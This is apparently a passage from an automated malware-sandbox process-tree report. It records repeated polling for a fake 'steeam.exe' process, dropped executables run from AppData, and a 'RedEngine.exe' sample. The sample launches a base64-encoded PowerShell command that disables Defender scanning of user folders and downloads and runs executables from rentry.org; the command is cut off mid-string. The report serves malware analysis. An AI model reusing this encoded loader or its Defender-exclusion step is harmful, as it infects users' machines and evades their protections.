        5⤵
        
        PID:5184
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5624
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5636
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5644
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5816
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6020
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6036
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6044
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6084
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5148
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4736
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2608
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5136
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4192
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2448
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3456
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3956
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5312
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5504
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5544
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5592
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5744
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5684
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5636
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5776
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6020
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6000
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5976
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1356
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3592
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5372
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5240
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5328
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3000
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1928
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5528
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5752
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:832
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5640
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5688
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6040
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5892
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5876
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5900
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2652
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5400
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:908
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5408
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5620
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5696
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5848
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5812
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4500
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5892
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6016
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5760
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5188
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5848
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5500
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5544
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6120
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5188
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6000
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5844
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6068
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6496
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6532
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6576
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6260
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1232
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6920
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5828
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6300
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4316
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6320
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6792
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1232
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5656
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6792
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6364
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6740
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5268
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6544
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5244
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5720
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6296
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5244
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7048
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6364
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6912
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6812
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4296
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6016
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6996
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6364
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6936
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4540
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5308
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5320
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6656
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7144
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6440
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6724
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6064
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6440
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6624
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6216
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5980
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6016
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6216
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5728
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6168
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:636
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2612
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6416
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6788
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3456
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5892
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7760
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7616
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4984
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7836
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8000
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7752
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7244
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7952
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7772
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7732
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7812
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6032
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7588
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7964
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7548
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7416
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6340
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7256
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6216
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7808
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6244
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7724
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6708
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6496
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6428
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5388
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5416
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7144
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7344
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7480
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7980
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8072
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7628
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7268
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7824
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1252
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5612
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5180
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7068
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7196
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6764
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:460
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7704
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6052
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5416
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7348
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5800
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7540
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4728
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6916
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7404
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7264
- - C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh1.exe
    "C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1412
- - C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh2.exe
    "C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh2.exe"
    3⤵
    - Executes dropped EXE
    PID:680
- - C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh3.exe
    "C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4808
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1291.tmp\1292.tmp\1293.bat C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh3.exe"
      4⤵
      PID:3100
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:3752
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3624

C:\Users\Admin\Downloads\RedEngine\RedEngine.exe
"C:\Users\Admin\Downloads\RedEngine\RedEngine.exe"
1⤵
PID:552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+AC